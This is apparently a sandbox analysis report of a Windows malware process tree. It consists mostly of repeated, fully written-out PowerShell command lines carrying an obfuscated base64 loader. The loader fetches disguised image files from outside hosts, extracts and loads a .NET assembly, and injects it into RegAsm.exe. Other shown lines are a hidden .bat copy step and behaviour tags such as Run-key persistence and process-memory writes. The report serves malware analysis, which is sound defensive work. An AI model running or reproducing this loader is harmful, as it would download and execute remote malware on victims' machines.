  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$ddsdgo = 'IAAgACAAWwBOAGUAh@AAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAh@QByAGkAh@AB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAh@QByAGkAh@AB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgAKACAAIAAgACAAIAAgACAAIABmAHUAbgBjAHQAaQBvAG4AIABEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAcwAgAHsAIABwAGEAcgBhAG0AIAAoAFsAcwB0AHIAaQBuAGcAWwBh@AF0AJABsAGkAbgBrAHMAKQAgAAoAIAAgACAAIAAgACAAIAAgACQAh@wBlAGIAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAh@AAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4Ah@AA7ACAACgAgACAAIAAgACAAIAAgACAAJABzAGgAh@QBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAh@ABPAGIAagBlAGMAh@AAgACQAbABpAG4AawBzACAALQBDAG8Ah@QBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAh@ABoADsAIAAKACAAIAAgACAAIAAgACAAIABmAG8AcgBlAGEAYwBoACAAKAAkAGwAaQBuAGsAIABpAG4AIAAkAHMAaAB1AGYAZgBsAGUAZABMAGkAbgBrAHMAKQAgAHsAIAB0AHIAeQAgAHsAIAByAGUAh@AB1AHIAbgAgACQAh@wBlAGIAQwBsAGkAZQBuAHQALgBEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQAoACQAbABpAG4AawApACAAfQAgAGMAYQB0AGMAaAAgAHsAIABjAG8AbgB0AGkAbgB1AGUAIAB9ACAAfQA7ACAACgAgACAAIAAgACAAIAAgACAAcgBlAHQAh@QByAG4AIAAkAG4Ah@QBsAGwAIAB9ADsAIAAKACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAh@AB0ACcAOwAKACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAyACAAPQAgACcAcABzADoALwAvACcAOwAKACAAIAAgACAAIAAgACAAIAAkAGwAZgBzAGQAZgBzAGQAZwAgAD0AIAAgACQAQgB5AHQAZQBzACAAKwAkAEIAeQB0AGUAcwAyADsACgAgACAAIAAgACAAIAAgACAAJABsAGkAbgBrAHMAIAA9ACAAQAAoACgAJABsAGYAcwBkAGYAcwBkAGcAIAArACAAJwB5AGIAZwBjAHQAZAB0AGIAegB2AGcAcABkAHgAagBpAHYAYQBmAHkALgBzAHUAcABhAGIAYQBzAGUALgBjAG8ALwBzAHQAbwByAGEAZwBlAC8Ah@gAxAC8AbwBiAGoAZQBjAHQALwBwAHUAYgBsAGkAYwAvAG4AYQBuAG8ALwBpAG0AYQBnAGUALgBqAHAAZwA/ADEAMgA3ADEAMQAzADQAMwAnACkALAAgACgAJABsAGYAcwBkAGYAcwBkAGcAIAArACAAJwByAGEAh@wAuAGcAaQB0AGgAh@QBiAHUAcwBlAHIAYwBvAG4Ah@ABlAG4Ah@AAuAGMAbwBtAC8AMwByAGkAYwAzAGgALwBzAGUAcgB2AGUAcgAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtAGEAaQBuAC8AaQBtAGEAZwBlAC4AagBwAGcAPwAxADIANwAxADEAMwA0ADMAJwApACkAOwAKACAAIAAgACAAIAAgACAAIAAgACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIABEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAcwAgACQAbABpAG4AawBzADsACgAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAh@AAuAEUAbgBjAG8AZABpAG4AZwBh@ADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAh@ABlAHMAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACAAJABlAG4AZABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACAACgAgACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHMAh@ABhAHIAh@ABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAh@AAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAApACAAewAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACAACgAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACAAPQAgACQAZQBuAGQASQBuAGQAZQB4ACAALQAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7AAoAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACkAOwAKACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4Ah@gBlAHIAh@ABh@ADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAh@AByAGkAbgBnACgAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AAoAIAAgACAAIAAgACAAIAAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAh@ABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwAKACAAIAAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAh@AAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAh@AAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUACgAgACAAIAAgACAAIAAgACAAJAB0AHkAcABlACAAPQAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAh@ABlAHMAh@ABwAG8Ah@wBlAHIAcwBoAGUAbABsAC4ASABvAGEAYQBhAGEAYQBhAHMAZABtAGUAJwApADsACgAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAh@AAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAh@AAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUACgAgACAAIAAgACAAIAAgACAAJABpAG4AagBlAGMAIAA9ACAAJwBSAGUAZwBBAHMAbQAnADsACgAgACAAIAAgACAAIAAgACAAJABtAGUAh@ABoAG8AZAAgAD0AIAAkAHQAeQBwAGUALgBHAGUAh@ABNAGUAh@ABoAG8AZAAoACcAbABmAHMAZwBlAGQAZABkAGQAZABkAGQAYQAnACkALgBJAG4Ah@gBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAh@ABbAF0AXQAgACgAJwB0AHgAh@AAuAGgAYQBpAGEAcwBpAC8ANgAzAGEAMABhADcAOABhADAAYgA3ADMALQBhAGEAZgA4AC0ANgBiADIANAAtADcANABlAGYALQBkAGUAOAAyAGEAMAAyAGMALwB0AGUAbgAuAGQAYwBlAHIAYQBjAHUALgA3ADAAbQBqAHkAaAA2AHMAZAAxAC8ALwA6AHMAJwAsACAAJwAxACcALAAgACcAJwAsACAAJABpAG4AagBlAGMALAAgACcAMAAnACAALAAgACcAeAA4ADYAJwApACkAfQB9ADsACgA=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($ddsdgo.replace('h@','d')));iex $OWjuxD"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2836
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden if ((Get-Location).Path -ne 'C:\ProgramData') { (Get-ChildItem *.bat | Sort-Object CreationTime -Descending | Select-Object -First 1) | Copy-Item -Destination 'C:\ProgramData\.bat' -Force }
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4188
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:3988
- - C:\Windows\system32\taskkill.exe
    "taskkill" /PID 3988 /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:72
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3296

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Start-Process powershell -WindowStyle Hidden -ArgumentList '-Command \"$ddsdgo = ''IAAgACAAWwBOAGUAh@AAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAh@QByAGkAh@AB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAh@QByAGkAh@AB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgAKACAAIAAgACAAIAAgACAAIABmAHUAbgBjAHQAaQBvAG4AIABEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAcwAgAHsAIABwAGEAcgBhAG0AIAAoAFsAcwB0AHIAaQBuAGcAWwBh@AF0AJABsAGkAbgBrAHMAKQAgAAoAIAAgACAAIAAgACAAIAAgACQAh@wBlAGIAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAh@AAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4Ah@AA7ACAACgAgACAAIAAgACAAIAAgACAAJABzAGgAh@QBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAh@ABPAGIAagBlAGMAh@AAgACQAbABpAG4AawBzACAALQBDAG8Ah@QBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAh@ABoADsAIAAKACAAIAAgACAAIAAgACAAIABmAG8AcgBlAGEAYwBoACAAKAAkAGwAaQBuAGsAIABpAG4AIAAkAHMAaAB1AGYAZgBsAGUAZABMAGkAbgBrAHMAKQAgAHsAIAB0AHIAeQAgAHsAIAByAGUAh@AB1AHIAbgAgACQAh@wBlAGIAQwBsAGkAZQBuAHQALgBEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQAoACQAbABpAG4AawApACAAfQAgAGMAYQB0AGMAaAAgAHsAIABjAG8AbgB0AGkAbgB1AGUAIAB9ACAAfQA7ACAACgAgACAAIAAgACAAIAAgACAAcgBlAHQAh@QByAG4AIAAkAG4Ah@QBsAGwAIAB9ADsAIAAKACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAh@AB0ACcAOwAKACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAyACAAPQAgACcAcABzADoALwAvACcAOwAKACAAIAAgACAAIAAgACAAIAAkAGwAZgBzAGQAZgBzAGQAZwAgAD0AIAAgACQAQgB5AHQAZQBzACAAKwAkAEIAeQB0AGUAcwAyADsACgAgACAAIAAgACAAIAAgACAAJABsAGkAbgBrAHMAIAA9ACAAQAAoACgAJABsAGYAcwBkAGYAcwBkAGcAIAArACAAJwB5AGIAZwBjAHQAZAB0AGIAegB2AGcAcABkAHgAagBpAHYAYQBmAHkALgBzAHUAcABhAGIAYQBzAGUALgBjAG8ALwBzAHQAbwByAGEAZwBlAC8Ah@gAxAC8AbwBiAGoAZQBjAHQALwBwAHUAYgBsAGkAYwAvAG4AYQBuAG8ALwBpAG0AYQBnAGUALgBqAHAAZwA/ADEAMgA3ADEAMQAzADQAMwAnACkALAAgACgAJABsAGYAcwBkAGYAcwBkAGcAIAArACAAJwByAGEAh@wAuAGcAaQB0AGgAh@QBiAHUAcwBlAHIAYwBvAG4Ah@ABlAG4Ah@AAuAGMAbwBtAC8AMwByAGkAYwAzAGgALwBzAGUAcgB2AGUAcgAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtAGEAaQBuAC8AaQBtAGEAZwBlAC4AagBwAGcAPwAxADIANwAxADEAMwA0ADMAJwApACkAOwAKACAAIAAgACAAIAAgACAAIAAgACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIABEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAcwAgACQAbABpAG4AawBzADsACgAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAh@AAuAEUAbgBjAG8AZABpAG4AZwBh@ADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAh@ABlAHMAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACAAJABlAG4AZABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACAACgAgACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHMAh@ABhAHIAh@ABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAh@AAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAApACAAewAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACAACgAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACAAPQAgACQAZQBuAGQASQBuAGQAZQB4ACAALQAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7AAoAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACkAOwAKACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4Ah@gBlAHIAh@ABh@ADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAh@AByAGkAbgBnACgAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AAoAIAAgACAAIAAgACAAIAAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAh@ABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwAKACAAIAAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAh@AAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAh@AAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUACgAgACAAIAAgACAAIAAgACAAJAB0AHkAcABlACAAPQAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAh@ABlAHMAh@ABwAG8Ah@wBlAHIAcwBoAGUAbABsAC4ASABvAGEAYQBhAGEAYQBhAHMAZABtAGUAJwApADsACgAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAh@AAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAh@AAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUACgAgACAAIAAgACAAIAAgACAAJABpAG4AagBlAGMAIAA9ACAAJwBSAGUAZwBBAHMAbQAnADsACgAgACAAIAAgACAAIAAgACAAJABtAGUAh@ABoAG8AZAAgAD0AIAAkAHQAeQBwAGUALgBHAGUAh@ABNAGUAh@ABoAG8AZAAoACcAbABmAHMAZwBlAGQAZABkAGQAZABkAGQAYQAnACkALgBJAG4Ah@gBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAh@ABbAF0AXQAgACgAJwB0AHgAh@AAuAGgAYQBpAGEAcwBpAC8ANgAzAGEAMABhADcAOABhADAAYgA3ADMALQBhAGEAZgA4AC0ANgBiADIANAAtADcANABlAGYALQBkAGUAOAAyAGEAMAAyAGMALwB0AGUAbgAuAGQAYwBlAHIAYQBjAHUALgA3ADAAbQBqAHkAaAA2AHMAZAAxAC8ALwA6AHMAJwAsACAAJwAxACcALAAgACcAJwAsACAAJABpAG4AagBlAGMALAAgACcAMAAnACAALAAgACcAeAA4ADYAJwApACkAfQB9ADsACgA='';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($ddsdgo.replace(''h@'',''d'')));iex $OWjuxD\"'"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$ddsdgo = 'IAAgACAAWwBOAGUAh@AAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAh@QByAGkAh@AB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAh@QByAGkAh@AB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgAKACAAIAAgACAAIAAgACAAIABmAHUAbgBjAHQAaQBvAG4AIABEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAcwAgAHsAIABwAGEAcgBhAG0AIAAoAFsAcwB0AHIAaQBuAGcAWwBh@AF0AJABsAGkAbgBrAHMAKQAgAAoAIAAgACAAIAAgACAAIAAgACQAh@wBlAGIAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAh@AAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4Ah@AA7ACAACgAgACAAIAAgACAAIAAgACAAJABzAGgAh@QBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAh@ABPAGIAagBlAGMAh@AAgACQAbABpAG4AawBzACAALQBDAG8Ah@QBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAh@ABoADsAIAAKACAAIAAgACAAIAAgACAAIABmAG8AcgBlAGEAYwBoACAAKAAkAGwAaQBuAGsAIABpAG4AIAAkAHMAaAB1AGYAZgBsAGUAZABMAGkAbgBrAHMAKQAgAHsAIAB0AHIAeQAgAHsAIAByAGUAh@AB1AHIAbgAgACQAh@wBlAGIAQwBsAGkAZQBuAHQALgBEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQAoACQAbABpAG4AawApACAAfQAgAGMAYQB0AGMAaAAgAHsAIABjAG8AbgB0AGkAbgB1AGUAIAB9ACAAfQA7ACAACgAgACAAIAAgACAAIAAgACAAcgBlAHQAh@QByAG4AIAAkAG4Ah@QBsAGwAIAB9ADsAIAAKACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAh@AB0ACcAOwAKACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAyACAAPQAgACcAcABzADoALwAvACcAOwAKACAAIAAgACAAIAAgACAAIAAkAGwAZgBzAGQAZgBzAGQAZwAgAD0AIAAgACQAQgB5AHQAZQBzACAAKwAkAEIAeQB0AGUAcwAyADsACgAgACAAIAAgACAAIAAgACAAJABsAGkAbgBrAHMAIAA9ACAAQAAoACgAJABsAGYAcwBkAGYAcwBkAGcAIAArACAAJwB5AGIAZwBjAHQAZAB0AGIAegB2AGcAcABkAHgAagBpAHYAYQBmAHkALgBzAHUAcABhAGIAYQBzAGUALgBjAG8ALwBzAHQAbwByAGEAZwBlAC8Ah@gAxAC8AbwBiAGoAZQBjAHQALwBwAHUAYgBsAGkAYwAvAG4AYQBuAG8ALwBpAG0AYQBnAGUALgBqAHAAZwA/ADEAMgA3ADEAMQAzADQAMwAnACkALAAgACgAJABsAGYAcwBkAGYAcwBkAGcAIAArACAAJwByAGEAh@wAuAGcAaQB0AGgAh@QBiAHUAcwBlAHIAYwBvAG4Ah@ABlAG4Ah@AAuAGMAbwBtAC8AMwByAGkAYwAzAGgALwBzAGUAcgB2AGUAcgAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtAGEAaQBuAC8AaQBtAGEAZwBlAC4AagBwAGcAPwAxADIANwAxADEAMwA0ADMAJwApACkAOwAKACAAIAAgACAAIAAgACAAIAAgACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIABEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAcwAgACQAbABpAG4AawBzADsACgAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAh@AAuAEUAbgBjAG8AZABpAG4AZwBh@ADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAh@ABlAHMAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACAAJABlAG4AZABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACAACgAgACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHMAh@ABhAHIAh@ABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAh@AAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAApACAAewAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACAACgAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACAAPQAgACQAZQBuAGQASQBuAGQAZQB4ACAALQAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7AAoAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACkAOwAKACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4Ah@gBlAHIAh@ABh@ADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAh@AByAGkAbgBnACgAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwAgACAAIAAkAGUAbgBkAE